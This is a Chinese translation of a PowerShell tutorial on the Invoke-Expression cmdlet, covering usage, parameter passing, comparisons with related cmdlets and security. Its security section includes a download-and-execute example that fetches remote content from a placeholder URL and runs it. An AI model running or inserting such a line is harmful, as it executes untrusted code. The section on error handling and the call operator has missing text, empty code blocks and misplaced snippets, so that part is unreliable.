Invoke-Expression:优点、缺点和最佳实践

使用 Invoke-Expression PowerShell cmdlet 时,很容易在何时使用以及何时不使用方面产生误解。在本文中,我整理了一些热门常见问题。我会逐一解释它们,并为您提供大量实用示例,以便您在需要时随时查阅。这意味着您现在应该收藏此页面!

想要更多类似的技巧吗?请查看我的个人PowerShell博客: https://www.nkasco.com/

什么是 Invoke-Expression

官方描述,来自Microsoft 是:“Invoke-Expression cmdlet 评估或运行指定的字符串作为命令,并返回表达式或命令的结果。没有 Invoke-Expression,在命令行中提交的字符串将原样返回(回显)。”

换句话说,它可用于在脚本内调用代码或构建稍后执行的命令。还可以谨慎地与用户提供的输入结合使用。

使用 Invoke-Expression 的最基本示例是定义一个脚本并将该字符串传递给 Command 参数。然后,Invoke-Expression 执行该字符串。

#通过Invoke-Expression运行PowerShell命令
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#通过Invoke-Expression执行脚本
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

如果我的脚本路径中有空格怎么办?

确保用单引号或双引号括起字符串。

例如,如果您想执行一个路径中带有空格的字符串,这些选项将不起作用:

# 这些不起作用
$MyScript = "C:\Folder Path\MyScript.ps1"
#或者
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

为什么?因为这完全等同于直接在PowerShell控制台中输入:

PS51> C:\Folder Path\MyScript.ps1

然而,如果您用单引号或双引号括起路径项,并将整个字符串用引号括起来,Invoke-Expression将会按预期执行脚本。

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Invoke-Expression唯一的参数是Command。没有本机方法可以通过Invoke-Expression传递参数。但是,您可以将它们包含在传递给Command参数的字符串中。

也许我有一个带有两个名为PathForce的参数的脚本。与其通过Invoke-Expression使用特定参数,不如通过控制台通常的方式传递参数给该脚本。

如果您通常会像这样通过控制台调用该脚本:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

您必须将整行内容包含在一个字符串中,然后将该字符串传递给Command参数。

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# 或者
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

不真的。这意味着你需要在Command参数中使用错误处理。

示例:

“`powershell
# 不起作用 – Invoke-Expression不起作用作为全局错误处理程序!
“`

调用运算符(&)很适合快速运行命令、脚本或脚本块。但是,调用运算符不解析命令。它无法像Invoke-Expression一样解释命令参数。

例如,也许我想使用以下代码使用Get-Process命令获取PowerShell Core进程:Get-Process -ProcessName pwsh。使用调用运算符连接Get-Process和参数将无法按预期工作。

“`powershell
## 不起作用
“`

但是,如果你使用Invoke-Expression执行此字符串,它将按预期工作。


try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

$a = "Get-Process"


& "$a pwsh"

Invoke-Expression "$a pwsh"

什么是Invoke-ExpressionInvoke-Command之间的区别?

Invoke-Expression只是将字符串“转换”为可执行代码。Invoke-Command则利用PowerShell Remoting,使您能够在本地或远程计算机上调用代码。

如果您正在编写执行命令,则最好使用Invoke-Command,因为您在IDE中保留了智能感知,而如果您想从当前脚本中调用另一个脚本,则最好使用Invoke-Expression

示例:

#这两种方法的效果相同,但在Invoke-Expression示例中我们失去了智能感知。
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

什么是Invoke-ExpressionInvoke-Item之间的区别?

Invoke-Item cmdlet为您提供内联支持,以使用默认操作打开多个路径的文档,其中包括包含、排除、添加凭据的参数,甚至包括额外安全性的确认。

Invoke-Expression安全吗?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

示例:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

执行多个命令/表达式的一些最佳实践是什么?

如果您有多个要执行的命令,即使Invoke-Expression只接受字符串而不是数组,我们也可以使用PowerShell管道逐个将对象发送到管道中。

示例:

# 无效
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# 有效
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

如何在用户输入中使用 Invoke-Expression?

在使用 Invoke-Expression 时,您应该非常谨慎处理用户输入。如果以某种方式允许用户输入,使其能够访问您意图执行的命令之外的内容,可能会产生意外的漏洞。以下是一种可以安全实现用户输入与 Invoke-Expression 结合的方法。

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # 在继续之前验证用户输入
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # 避免在此处使用 $Response
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

结论

每个 cmdlet 都有其用途,Invoke-Expression 是每个人都会在某个时候遇到的一个。了解常用 cmdlet 的优缺点非常重要,这样您才能以成功的方式实施它们。我很想听听您如何使用 Invoke-Expression 解决自己的一些挑战,留下评论并分享您的故事吧!

想获取更多类似的提示吗?请查看我的个人 PowerShell 博客:https://www.nkasco.com/

进一步阅读

Source:
https://adamtheautomator.com/invoke-expression/